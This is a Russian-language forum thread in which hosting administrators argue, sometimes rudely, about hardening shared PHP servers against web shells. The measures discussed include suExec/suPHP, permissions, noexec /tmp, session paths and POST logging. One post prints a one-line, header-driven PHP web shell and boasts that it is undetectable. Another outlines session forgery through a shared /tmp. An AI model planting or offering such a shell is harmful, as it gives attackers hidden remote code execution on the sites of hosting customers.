phpshell и защита от него!

Только это не для виртуального хостинга - штат поддержки сперва увеличьте в разы...

Если Вам не надо CGI - в чем проблема сделать это сейчас? Один раздел.

До или после того, как у Вас логи потерли? А доступ по ftp для рута Вы не догадались сделать?

Переустановить дешевле. Это раз.

Во-вторых, переустановка хостингового сервера - вполне штатная операция. Если у Вас это не так - нужно что-то предпринимать в этом отношении...

Не затруднит одну привести? Это последнее обновление в CentOS, см. http://lists.centos.org/pipermail/centos-announce/2011-January/017222.html

один разде в noexec , это / - этот чтоли =)

В случае с ISP - наверно /var/www/

упс, сорри, действительно, "глаз замылился", спать пора :)

Ну видать вы очень суровый админ раз вам это показалось смешным:D

И со школой вы перегибаете.

"установка suPHP или SuExec" + установка правильных(читать chown) на папки пользователей -

позволит пользователям свободно создавать/удалять только свои файлы и вкупе с

"поставить на папку каждого юзера права drwx------"(в случае ISP /var/www/user/)

не позволит хакеру выбраться из его домашнего каталога, даже если он уже залил шелл на один из сайтов какого то пользователя.

Любой установленый флаг (r w x) в ------- уже даст такую возможность(перемещатся злоумышленнику по всему серверу.

Причем тот же апач при обращению к сайту юзера1 ,будет запускаться с правами не apache:apache, а user1:user1, если у вас сделать так не получается. покурите документацию.

Как пример данная технология реализована с недавнего времени на серверах RackSpace, они кстати обслуживают около 70 000 сайтов.

убрать mod_include из php, отключить SSI, Perl если не юзается

это нужно вслучае если php настроен так не может выполнять системные команды(читать как "если вы установили disabled_functions в php.ini"). тогда хакер может попытаться использовать функцию virtual для запуска SSI скрипта, что приведет в свою очередь, к возможности выполнения команд.

/tmp и папку с сайтами в отдельные разделы с флагом noexec

Это нужно, для того, что если, все таки, каким то образом хакер получит возможность выполнять системные комманды, не дать ему запускать бинарники(читать сплоиты под ядро).

И вообще общий /tmp для всех юзеров , это корень зла. поясню почему.

у юзера 1 есть сайт 1 с уязвимостью, а хакеру нужно попасть на сайт 2 у юзера 2 на том же сервере. Сайт 2 на публичной CMS, которая работает с сессиями(70% минимум от всех php cms).

Хакер подделывает сессию и сохраняет её в общий /tmp потом с этим идентификатором, заходит на сайт 2, и сходу получает админ привилегии на сайте 2, и делает с ним что хочет).

в php.ini задизейблить функции выполнения системных комманд

тут думаю всем все понятно.

установить Suhosin и настроить его на максимальную защиту, которую только возможно(разумеется чтобы скрипты остались рабочими).

прочитайте фразу жирным еще раз.

Логирование POST данных , позволит выяснить откуда у хакеров ноги растут,и через что они к вам лезут. Я думаю вы включите логирование POST когда у вас на сайтах клиентов будут каждый день новые фреймы возникать и бекапы не помогут, ибо шеллы могут там уже быть. который и спалить не возможно, типа

<?php $_SERVER['HTTP_A']($_SERVER['HTTP_B']); ?>

не логируется , не палится, не зависит от настроек сервера, попробуй такой отыскать😂

в добавок: в одной панели управления (хостер писал самописную панель) был функционал при котором пользователь мог разрешить вход только с некоторых айпи... и на некоторое время...

а вирус как как правило закачивает бинарник через свой сервант

С suexec? А мы не будем в таком случае "курить документацию", за бесполезностью такого процесса. Мы попросим Вас прочитать ее и рассказать нам как это сделать.

А не сумеете (что естественно, т.к. это нельзя реализовать как Вы заявили) - погоним Вас ссаными тапками в школу...

Ну а на будущее - не курите документацию, не "курите маны". ЧИТАЙТЕ их!

Не проще уж тогда просто CGI отключить?

И вообще, Вы толком не знаете как работает тот же suexec в данном случае. И что у скриптов "юзера 2" просто прав не хватит для доступа.

Разные /tmp для пользователей имеют и свои недостатки. Наконец, достаточно безумно плодить разделы по числу пользователей.

Сделать зашибись (повторяем мантру).

Повторяю вопрос. Вот, Вы его включили, это жрет кучу места, да ресурсов немного... Что Вы теперь с этим делать будете? На ночь читать?

Школьник - вон из интернета! (с) не помню чье

В случае suExec.

для каждого юзера заводить группу, например для юзера vasya группу vasya.

Владельцем его папки и файлы/папки внутри, где лежат его сайты, выставить vasya:vasya

Права на все файлы 0640

Для апача своя юзер и группа www:www

В файле /etc/group сделать vasya:*:1001:www

для каждого его хоста указать

User vasya

Group www

Проще, это вообще на усмотрение админа.

Сомневаюсь, что не хватит, если поддельную сессию одарить правами 0777. Вот проверить не где.

Ничего безумного не вижу в этом, и не надо плодить разделы для /tmp, просто переносить tmp в туже папку что и public_html, для каждого юзера будет свой /tmp.

Просто выносить в один раздел /var/www/ выставлять для этого раздела noexec

и будет так

/var/www раздел с noexec

/var/www/user1/tmp это его темп. Секурно и никакой паранои, а папку /tmp та которая в корне, вынести в другой раздел и тоже сделать noexec.

Причем практически тот же результат можно получить и с suPHP.

Насчет логов POST запросов, это дело каждого админа.

Есть админы которым срать на их шаред хостинги, а есть админы которым было срать, но потом они получили по голове от начальства, за то что на хостинге, заводится всякая дрянь, мешающая жить сайтам разных клиентов, и эти клиенты начинают сваливать, начальник недополучает прибыль, а виноватым будет админ, и все равно все придет к тому, что придется искать из каких дыр растут ноги всяких фреймов с троями.А тут как никогда кстати будут логи пост запросов.

Вы точно суровый арктический админ, которому по х.. мороз. Для вас все школота!

И после этого апача пустят в каталог с правами 0700, принадлежащий vasya?

Садись, два.

читайте про директиву session.save_path. Ах, Вы не подумали организовать отдельные каталоги для хранения сессий в /tmp? Ну вот и ССЗБ.

В том-то и проблема, что свои "советы" Вы отродясь не проверяли.

Ну а как Вы там тогда noexec поставите, если в домашнем каталоге пользователя нужны cgi-скрипты?

cgi-скриптов тоже "нет".

И Вы лично, значит, знакомы с такими "админами" - которые стали после этого читать POST-логи на ночь? А серверов-то сколько у таких "админов"? Адын?

Не - не все. Вполне конкретные люди, опознаваемые по очень простым критериям.

Конечно хорошо исправлять ошибки клиентов, но как мне кажется каждый клиент сам отвечает за безопасность своего аккаунта. И то что к нему пробрался вирус через FTP виноват толкьо он сам. Можно вообще тогда не давать не FTP не SFTP не SSH, а только WebFTP :)

У меня в поддержке несколько серверов где клиентам практически за копейки даётся всё и SSH в том числе. И могу вас заверить что за всё время не один сервер не падал и даже не вис до такого состояния чтобы сайты не открывались, а сисадмин по ночам спокойно спит ;)

Конечно 100 мбитные ДОСы они ещё не видели, а мелкие им не по чём :)

Конечно при использовании ITK на равне с плюсами есть одна проблема - это запуск пхп от пользователя, при уязвимости в PHP скриптах очень легко меняются все файлы на аккануте и после заражения очень сложно вычислить где эта зараза может сидеть, т.к. можно перезаписать любой фаил (вставить свою инъекцию) и скрыть следы изменения.

Я уже подумывал о том чтобы создавать wwwusername для PHP, чтобы в папку пользователя могли зайти только сам юзер и его ввв алиас. Также искал возможность создания файлов через FTP под ftp пользователем, но так чтобы владельцы имели полное право на их изменение. Или может есть другие решения?